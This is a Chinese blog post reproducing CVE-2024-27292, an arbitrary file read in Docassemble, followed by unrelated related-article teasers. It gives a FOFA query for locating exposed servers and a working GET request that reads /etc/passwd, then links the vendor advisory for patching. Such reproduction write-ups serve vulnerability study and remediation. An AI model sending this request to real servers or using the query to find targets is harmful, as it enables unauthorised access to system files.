CVE-2024-27292：Docassemble任意文件读取漏洞复现 [附POC]

文章目录

  • CVE-2024-27292：Docassemble任意文件读取漏洞复现 [附POC]
    • 0x01 前言
    • 0x02 漏洞描述
    • 0x03 影响版本
    • 0x04 漏洞环境
    • 0x05 漏洞复现
      • 1.访问漏洞环境
      • 2.构造POC
      • 3.复现
    • 0x06 修复建议

CVE-2024-27292：Docassemble任意文件读取漏洞复现 [附POC]

0x01 前言

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！

0x02 漏洞描述

Docassemble是Jonathan Pyle个人开发者的一个免费的开源专家系统，用于指导访谈和文档组装。Docassemble 1.4.53至1.4.96版本存在安全漏洞，该漏洞源于允许攻击者通过操作URL获得对系统信息的未授权的访问导致任意文件读取。

0x03 影响版本

Docassemble Docassemble 1.4.96
Docassemble Docassemble 1.4.53

0x04 漏洞环境

FOFA语法：icon_hash=“-575790689”
在这里插入图片描述

0x05 漏洞复现

1.访问漏洞环境

在这里插入图片描述

2.构造POC

POC （GET）

GET /interview?i=/etc/passwd HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

3.复现

查看/etc/passwd文件
在这里插入图片描述

0x06 修复建议

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

https://github.com/jhpyle/docassemble/security/advisories/GHSA-jq57-3w7p-vwvv

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/web/43916.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

冒泡排序与其C语言通用连续类型排序代码

冒泡排序与其C语言通用连续类型排序代码

冒泡排序与其C语言通用连续类型排序代码 冒泡排序冒泡排序为交换排序的一种：动图展示：冒泡排序的特性总结：冒泡排序排整型数据参考代码（VS2022C语言环境）： 冒泡排序C语言通用连续类型排序代码对比较的方式更…
阅读更多...
法律行业守护神：知识库+AI大模型，解锁企业知识全周期管理

法律行业守护神：知识库+AI大模型，解锁企业知识全周期管理

在法律行业中，搭建一个有效的知识库并进行企业知识全生命周期管理确实是一项不小的挑战。法律环境的复杂性和不断变化的法规要求企业必须持续更新和维护其知识库，以确保所有信息的准确性和实时性。 这种系统化的信息管理不仅有助于提高律师和法律顾问的…
阅读更多...
打卡第9天-----字符串

打卡第9天-----字符串

我在自学的时候，看了卡尔的算法公开课了，有些题目我就照葫芦画瓢写了一遍js代码，差不多都写出来了，有暴力解法，有卡尔推荐的思路和方法。话不多说，直接上题上代码吧： 一、翻转字符串里的单词 leetcode题目链接：151. 反转字符串中的单词 题目描述： 给你一个字符串 s…
阅读更多...
5个自动化面试题，助你过关斩将！

5个自动化面试题，助你过关斩将！

面试时，自动化是软件测试高频面试内容，通过学习和准备面试题，你会对可能遇到的问题有所准备，从而减轻面试时的紧张感，让你在面试中稳操胜券！ 今天，分享一些在面试中可能会遇到的自动化测试面试…
阅读更多...
软件架构之测评方法

软件架构之测评方法

软件架构之测评方法 第 11 章：测试评审方法11.1 测试方法11.1.1 软件测试阶段11.1.2 白盒测试和黑盒测试11.1.3 缺陷的分类和级别11.1.4 调试 11.2 评审方法11.3 验证与确认11.4 测试自动化11.5 面向对象的测试 第 11 章：测试评审方法 软件测试与评审是…
阅读更多...
大学生暑假“三下乡”社会实践工作新闻投稿指南请查收！

大学生暑假“三下乡”社会实践工作新闻投稿指南请查收！

近年来，大学生暑期“三下乡”社会实践工作方兴未艾，越来越多的大学生通过参与“三下乡”实践工作，走出校园，深入基层，体验农村生活，服务农民，促进农村经济社会发展，实现了理论与实践…
阅读更多...
算能科技，致力于成为全球领先的通用算力供应商

算能科技，致力于成为全球领先的通用算力供应商

算能致力于成为全球领先的定制算力提供商，专注于RISC-V、TPU处理器等算力产品的研发和推广应用。公司遵循全面开源开放的生态理念，携手行业伙伴推动RISC-V高性能通用计算产业落地；打造覆盖“云、边、端”的全场景产品矩阵，为数据中…
阅读更多...
【eNSP模拟实验】三层交换机实现VLAN通信

【eNSP模拟实验】三层交换机实现VLAN通信

实验需求 让PC1和PC2能够互相通讯&#xff0c;其中PC1在vlan10中&#xff0c;PC2在vlan20中。 实验操作 首先把PC1和PC2都配置好ip&#xff0c;配置好之后&#xff0c;点击右下角的应用 然后&#xff0c;在S2交换机&#xff08;S3700&#xff09;上做如下配置 #进入系统 <…
阅读更多...
mvvm模式

mvvm模式

MVVM&#xff08;Model-View-ViewModel&#xff09;模式是一种软件设计模式&#xff0c;特别适用于构建用户界面&#xff08;UI&#xff09;应用程序&#xff0c;尤其是使用WPF&#xff08;Windows Presentation Foundation&#xff09;、Silverlight和其他XAML技术的应用程序。…
阅读更多...
【Redis】Redis十大类型

【Redis】Redis十大类型

文章目录 前言一、string字符串类型二、List列表类型三、 Hash表四、 Set集合五、 ZSet有序集合六、 GEO地理空间七、 HyperLogLog基数统计八、Bitmap位图九、bitfield位域十、 Stream流10.1 队列指令10.2 消费组指令10.3 ACK机制 前言 redis是k-v键值对进行存储&#xff0c;k…
阅读更多...
Mac上pyenv的安装及使用

Mac上pyenv的安装及使用

Mac上pyenv的安装及使用 安装 brew update brew install pyenv 报错 git -C /usr/local/Homebrew/Library/Taps/homebrew/homebrew-core fetch --unshallowgit -C /usr/local/Homebrew/Library/Taps/homebrew/homebrew-cask fetch --unshallow那就执行这2句 还报错 git -C /…
阅读更多...
【最经典的79个】软件测试面试题（内含答案）提前备战“金九银十”

【最经典的79个】软件测试面试题（内含答案）提前备战“金九银十”

001.软件的生命周期(prdctrm) 计划阶段(planning)-〉需求分析(requirement)-〉设计阶段(design)-〉编码(coding)->测试(testing)->运行与维护(running maintrnacne) 测试用例 用例编号 测试项目 测试标题 重要级别 预置条件 输入数据 执行步骤 预期结果 0002.问&…
阅读更多...
“论软件维护方法及其应用”写作框架，软考高级论文，系统架构设计师论文

“论软件维护方法及其应用”写作框架，软考高级论文，系统架构设计师论文

论文真题 软件维护是指在软件交付使用后&#xff0c;直至软件被淘汰的整个时间范围内&#xff0c;为了改正错误或满足 新的需求而修改软件的活动。在软件系统运行过程中&#xff0c;软件需要维护的原因是多种多样的&#xff0c; 根据维护的原因不同&#xff0c;可以将软件维护…
阅读更多...
CVE-2024-34351 漏洞复现

CVE-2024-34351 漏洞复现

CVE-2024-34351&#xff0c;由Next.js异步函数createRedirectRenderResult导致的SSRF。 影响版本&#xff1a;13.4.0< Next.js < 14.1.1 参考文章&#xff1a; Next.js Server-Side Request Forgery in Server Actions CVE-2024-34351 GitHub Advisory Database Gi…
阅读更多...
数据库Doris的手动分桶和自动分桶

数据库Doris的手动分桶和自动分桶

在Doris中，分桶（Bucketing）是为了更好地管理和查询数据，将数据分成多个小的逻辑单元。分桶可以通过手动或自动的方式进行配置，每种方式各有其特点和适用场景。 Doris 支持两层的数据划分。第一层是分区（Partition），支持 Range 和 List 的划分方式。第二层是Bucket（Tab…
阅读更多...
RK3568平台开发系列讲解（内存篇）Linux进程内存的消耗统计

RK3568平台开发系列讲解（内存篇）Linux进程内存的消耗统计

🚀返回专栏总目录 文章目录 一、VSS（Virtual Set Size）二、RSS（Resident Set Size）三、PSS（Proportional Set Size）四、USS（Unique Set Size）五、其他工具Linux 提供了多种进程内存占用的度量指标, 它们反映了不同的内存使用特征: VSS 反映进程虚拟内存总需求, 包括未…
阅读更多...
2.python条件语句与循环

2.python条件语句与循环

1.概述 通过条件语句来判断&#xff0c;条件成立执行某些代码&#xff0c;条件不成立则不执行这些代码 2.if语句 if条件&#xff1a;条件成立执行的代码...... 下方代码没有缩进到if语句块&#xff0c;所以和if条件无关if…else if条件&#xff1a;条件成立执行的代码.....…
阅读更多...
Nature Communications|柔性无感智能隐形眼镜（柔性传感/可穿戴电子/柔性电子）

Nature Communications|柔性无感智能隐形眼镜（柔性传感/可穿戴电子/柔性电子）

南京大学徐飞(Fei Xu)、陆延青(Yanqing Lu)、陈烨(Ye Chen)和江苏省人民医院袁松涛（Songtao Yuan）团队，在《Nature Communications》上发布了一篇题为“Frequency-encoded eye tracking smart contact lens for human–machine interaction”的论文。论文内容如下： 一、 摘…
阅读更多...
常见的load_file()读取的敏感信息

常见的load_file()读取的敏感信息

常见的load_file()读取的敏感信息 在编程中或者sql注入时&#xff0c;load_file() 函数通常用于读取文件内容&#xff0c;而敏感信息的泄露往往是由于不当的使用这个函数或缺乏足够的安全措施。下面是一些常见的敏感信息及其可能的具体位置&#xff1a; 配置文件&#xff1a; …
阅读更多...
一起了解开发表单设计器的几大优势

一起了解开发表单设计器的几大优势

实现提质、降本、增效的办公效率&#xff0c;可以随时来了解低代码技术平台、开发表单设计器。它们可视化操作界面、更灵活、好维护的优势特点&#xff0c;使得其在激烈的市场竞争中拥有更多强劲的市场竞争力&#xff0c;是提升办公效率的理想武器。今天&#xff0c;小编就向大…
阅读更多...
最新文章

Copyright @ 2022~2023